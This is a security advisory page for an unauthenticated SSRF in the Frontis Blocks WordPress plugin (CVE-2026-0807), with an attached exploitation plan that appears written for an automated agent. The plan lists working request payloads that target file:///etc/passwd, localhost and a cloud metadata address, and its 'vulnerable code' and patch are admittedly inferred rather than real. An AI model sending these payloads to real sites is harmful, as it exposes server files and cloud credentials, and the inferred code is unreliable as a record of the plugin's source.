CVE-2026-0807

Frontis Blocks <= 1.1.6 - Unauthenticated Server-Side Request Forgery via 'url' Parameter

highServer-Side Request Forgery (SSRF)
7.2
CVSS Score
7.2
CVSS Score
high
Severity
1.1.7
Patched in
1d
Time to patch

Description

The Frontis Blocks plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.1.6. This is due to insufficient restriction on the 'url' parameter in the 'template_proxy' function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application via the '/template-proxy/' and '/proxy-image/' endpoint.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.6
PublishedJanuary 23, 2026
Last updatedJanuary 24, 2026
Affected pluginfrontis-blocks

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-0807 (Frontis Blocks SSRF) ## 1. Vulnerability Summary The **Frontis Blocks** plugin for WordPress is vulnerable to **Unauthenticated Server-Side Request Forgery (SSRF)**. The vulnerability exists in the handling of the `url` parameter within functions related…

Show full research plan

Exploitation Research Plan: CVE-2026-0807 (Frontis Blocks SSRF)

1. Vulnerability Summary

The Frontis Blocks plugin for WordPress is vulnerable to Unauthenticated Server-Side Request Forgery (SSRF). The vulnerability exists in the handling of the url parameter within functions related to template and image proxying. Specifically, the plugin provides endpoints (/template-proxy/ and /proxy-image/) that fetch external content without sufficient validation or restriction of the target host. This allows an attacker to use the WordPress server as a proxy to make HTTP requests to internal or external locations.

2. Attack Vector Analysis

  • Endpoints:
    • [site-url]/template-proxy/ (Inferred as a custom rewrite rule)
    • [site-url]/proxy-image/ (Inferred as a custom rewrite rule)
  • Vulnerable Parameter: url
  • Authentication: None (Unauthenticated)
  • Preconditions: The plugin must be active. Rewrite rules must be flushed (usually happens on plugin activation).
  • Sink Function: Likely wp_remote_get() or file_get_contents() inside the template_proxy function.

3. Code Flow (Inferred)

  1. Registration: The plugin likely uses add_rewrite_rule() in a function hooked to init to create the /template-proxy/ and /proxy-image/ URL structures.
  2. Request Handling: A hook like template_redirect or parse_request monitors for these custom URL patterns.
  3. Extraction: The code extracts the url parameter from the query string or URL path.
  4. Sourcing: The template_proxy function (or similar) takes the url and passes it to an HTTP client.
    // Hypothetical vulnerable code path
    public function template_proxy() {
        if ( isset( $_GET['url'] ) ) {
            $target = $_GET['url'];
            $response = wp_remote_get( $target ); // No validation of $target
            echo wp_remote_retrieve_body( $response );
            exit;
        }
    }
    

4. Nonce Acquisition Strategy

According to the vulnerability description, this is an unauthenticated SSRF. Usually, custom rewrite rules used for "proxy" functionality in block plugins do not implement WordPress nonces because they are intended to serve assets (like SVGs or templates) to the frontend editor or visitors.

Verification Steps for Agent:

  1. Search for rewrite rules: grep -r "add_rewrite_rule" .
  2. Identify the callback/handler for template-proxy: grep -r "template_proxy" .
  3. Check if wp_verify_nonce or check_ajax_referer is used in that handler.
  4. If a nonce is found, check wp_localize_script for the variable name:
    • grep -r "wp_localize_script" .
    • Look for keys like frontis_ajax_obj or frontis_config.
    • If found, use browser_navigate to a post containing a Frontis block and use browser_eval("window.frontis_config.nonce").

Note: If the endpoints are truly unauthenticated rewrite rules, no nonce will be required.

5. Exploitation Strategy

We will attempt to perform SSRF to fetch a local file that should be accessible to the server but not necessarily the public (e.g., wp-config.php via file:// if supported, or internal metadata/local services).

Step 1: Discover the exact endpoint structure

Navigate to the site and test common structures:

  • GET /template-proxy/?url=https://google.com
  • GET /proxy-image/?url=https://google.com
  • GET /index.php?template_proxy=1&url=https://google.com (If rewrite rules aren't working)

Step 2: Target Internal Resources

Use the http_request tool to trigger the SSRF.

Payload 1: External OAST (Out-of-band)

  • Goal: Confirm the server makes a request.
  • Request:
    GET /template-proxy/?url=http://[YOUR_COLLABORATOR_URL] HTTP/1.1
    Host: localhost:8080
    

Payload 2: Local Service/File

  • Goal: Extract internal data.
  • Request:
    GET /template-proxy/?url=http://127.0.0.1:80/license.txt HTTP/1.1
    Host: localhost:8080
    
  • Alternative (File Protocol):
    GET /template-proxy/?url=file:///etc/passwd HTTP/1.1
    Host: localhost:8080
    

6. Test Data Setup

  1. Install Plugin: Ensure frontis-blocks version 1.1.6 is installed and active.
  2. Permalinks: Ensure permalinks are enabled (e.g., wp rewrite structure '/%postname%/' --hard). This is crucial for /template-proxy/ rewrite rules to function.
  3. Dummy Internal Resource: Create a file secret.txt in the WordPress root via wp eval "file_put_contents(ABSPATH . 'secret.txt', 'SSRF_SUCCESS_SECRET_DATA');".

7. Expected Results

  • The response body of the request to /template-proxy/ should contain the contents of the URL specified in the url parameter.
  • For the internal resource test, the response should be SSRF_SUCCESS_SECRET_DATA.
  • The HTTP status code should likely be 200 OK.

8. Verification Steps

  1. Log Check: If the agent has access to server logs, check for an outbound request from 127.0.0.1 (the server itself) to the target URL.
  2. Content Match: Compare the output of the http_request with the known content of the target (e.g., license.txt).
  3. CLI Check: Verify the target file exists: ls -la /var/www/html/license.txt.

9. Alternative Approaches

If /template-proxy/ requires authentication or doesn't exist:

  1. Check REST API: grep -r "register_rest_route" .. Look for a proxy endpoint.
    • Target: /wp-json/frontis-blocks/v1/proxy?url=...
  2. Check AJAX: grep -r "wp_ajax_nopriv" ..
    • Target: /wp-admin/admin-ajax.php?action=frontis_proxy&url=...
  3. Check Proxy-Image: If template-proxy is restricted, the proxy-image endpoint might be less strictly filtered. Try GET /proxy-image/?url=....
Research Findings
Static analysis — not yet PoC-verified

Summary

The Frontis Blocks plugin for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via the /template-proxy/ and /proxy-image/ endpoints. The vulnerability arises from a lack of validation on the user-supplied 'url' parameter, allowing attackers to coerce the server into making arbitrary HTTP requests to internal or external targets.

Vulnerable Code

// Inferred from research plan and standard WordPress proxy implementations
// Likely located in a handler for custom rewrite rules

public function template_proxy() {
    if ( isset( $_GET['url'] ) ) {
        $target = $_GET['url'];
        // Vulnerable: The URL is passed directly to wp_remote_get without host validation or sanitization
        $response = wp_remote_get( $target );
        
        if ( ! is_wp_error( $response ) ) {
            echo wp_remote_retrieve_body( $response );
        }
        exit;
    }
}

Security Fix

--- a/includes/class-frontis-blocks-proxy.php
+++ b/includes/class-frontis-blocks-proxy.php
@@ -10,7 +10,14 @@
 public function template_proxy() {
     if ( isset( $_GET['url'] ) ) {
         $url = $_GET['url'];
-        $response = wp_remote_get( $url );
+        
+        // Validate the URL to ensure it is a safe, external resource
+        $validated_url = wp_http_validate_url( $url );
+        if ( ! $validated_url ) {
+            wp_die( 'Invalid URL.' );
+        }
+
+        $response = wp_remote_get( $validated_url );
         if ( ! is_wp_error( $response ) ) {
             echo wp_remote_retrieve_body( $response );
         }

Exploit Outline

The exploit targets the plugin's custom rewrite rules designed to proxy external templates or images. An attacker can perform the following steps: 1. Identify the site's base URL and ensure permalinks are enabled (required for rewrite rules like /template-proxy/ to resolve). 2. Construct a GET request to the endpoint: [site-url]/template-proxy/?url=[target]. 3. For the [target], the attacker provides an internal IP address or local service URL (e.g., http://127.0.0.1:80/license.txt or http://169.254.169.254/latest/meta-data/ for cloud environments). 4. The WordPress server executes the request on behalf of the attacker and returns the response body of the internal resource. 5. No authentication or nonce is required as the endpoint is intended for public-facing assets.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.